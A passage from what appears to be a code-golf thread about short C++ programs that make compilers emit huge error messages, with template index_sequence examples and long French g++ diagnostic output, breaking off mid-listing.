/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/function.h:20: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__memory/shared_ptr.h:25: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__memory/unique_ptr.h:15: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:40:19: error: cannot initialize a parameter of type 'const char *' with an rvalue of type 'unsigned long *' _VSTD::memcpy(&__r, __p, sizeof(__r)); ^~~~ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:239:15: note: in instantiation of function template specialization 'std::__loadword<unsigned long>' requested here _Size __x = __loadword<_Size>(__s + __len - 40); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:347:16: note: in instantiation of member function 'std::__murmur2_or_cityhash<unsigned long, 64>::operator()' requested here return __murmur2_or_cityhash<size_t>()(&__u, sizeof(__u)); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:421:20: note: in instantiation of member function 'std::__scalar_hash<std::_PairT, 2>::operator()' requested here return _HashT()(__p); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:170:36: note: passing argument to parameter here int printf(const char * __restrict, ...) __printflike(1, 2); ^ In file included from delete.cpp:4: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:37: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ios:214: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__locale:15: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/string:522: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/algorithm:653: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/functional:500: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/function.h:20: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__memory/shared_ptr.h:25: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__memory/unique_ptr.h:15: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:185:42: error: no matching function for call to '__loadword' return __weak_hash_len_32_with_seeds(__loadword<_Size>(__s), ^~~~~~~~~~~~~~~~~ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:244:28: note: in instantiation of member function 'std::__murmur2_or_cityhash<unsigned long, 64>::__weak_hash_len_32_with_seeds' requested here pair<_Size, _Size> __v = __weak_hash_len_32_with_seeds(__s + __len - 64, __len, __z); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:347:16: note: in instantiation of member function 'std::__murmur2_or_cityhash<unsigned long, 64>::operator()' requested here return __murmur2_or_cityhash<size_t>()(&__u, sizeof(__u)); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:421:20: note: in instantiation of member function 'std::__scalar_hash<std::_PairT, 2>::operator()' requested here return _HashT()(__p); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:37:1: note: candidate template ignored: substitution failure [with _Size = unsigned long] __loadword(const void* __p) ^ fatal error: too many errors emitted, stopping now [-ferror-limit=] 20 errors generated. ``` [Answer] with `-std=c++20` flag: ``` a<b<c<d<e<f<g ``` [Answer] * 50 bytes: Result will be the sum of the length of all the positive numbers with a single error message: ``` #include<utility> std::make_index_sequence<-1>::x; ``` * 174 bytes: quadratic explosion with multiple error messages: ``` #include<utility> template<size_t N, size_t... M> void a(std::index_sequence<N, M...>) { a(std::index_sequence<M...>{}); static_assert(!N); } auto x{a(std::make_index_sequence<C>{})}; ``` compile with ``` g++ -c truc.cpp -std=c++17 -DC=10 2>&1 > /dev/null | wc -c ``` index\_sequence seems to bypass the template instantiation depth limit problem * for C=10: 8238 chars * for C=100: 264288 chars * for C=1000: 23118522 chars errors look like this: the whole 0 ... C-1 number sequence looks like it is printed 4\*C times ``` truc.cpp:7:6: error: « void x » a un type incomplet auto x{a(std::make_index_sequence<C>{})}; ^ truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué static_assert(!N); ^~~~~~~~~~~~~ truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 2; long unsigned int ...M = {3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 3; long unsigned int ...M = {4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 4; long unsigned int ...M = {5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 5; long unsigned int ...M = {6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>  » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 6; long unsigned int ...M = {7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 7; long unsigned int ...M = {8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 7, 8, 9, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 8; long unsigned int ...M = {9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 8, 9, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 9; long unsigned int ...M = {10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 9, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 10; long unsigned int ...M = {11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 10, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 11; long unsigned int ...M = {12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 11, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 12; long unsigned int ...M = {13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 12, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 13; long unsigned int ...M = {14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 13, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:5:3: error: l'assertion statique a échoué truc.cpp: Dans l'instanciation de « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 14; long unsigned int ...M = {}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 14>] » : truc.cpp:4:4: requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:4:4: requis par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 0; long unsigned int ...M = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14>] » truc.cpp:7:39: requis depuis ici truc.cpp:4:4: error: pas de fonction correspondant à l'appel « a(std::index_sequence<>) » a(std::index_sequence<M...>{}); ~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~ truc.cpp:3:6: note: candidate: template<long unsigned int N, long unsigned int ...M> void a(std::index_sequence<N, M ...>) void a(std::index_sequence<N, M...>) { ^ truc.cpp:3:6: note: la déduction/substitution de l'argument du patron a échoué: truc.cpp:4:4: note: le candidat attend 2 arguments, 0 fourni(s) a(std::index_sequence<M...>{}); ~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~ truc.cpp:5:3: error: l'assertion statique a échoué static_assert(!N); ^~~~~~~~~~~~~ [1] 11052 exit 1 g++ -c -O3 truc.cpp -std=c++17 -DC=15 ``` and the number sequences are able to go past the default template instantiation depth limit, certainly because it's a builtin: ``` ... requis récursivement par « void a(std::index_sequence<N, M ...>) [avec long unsigned int N = 1; long unsigned int ...M = {2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 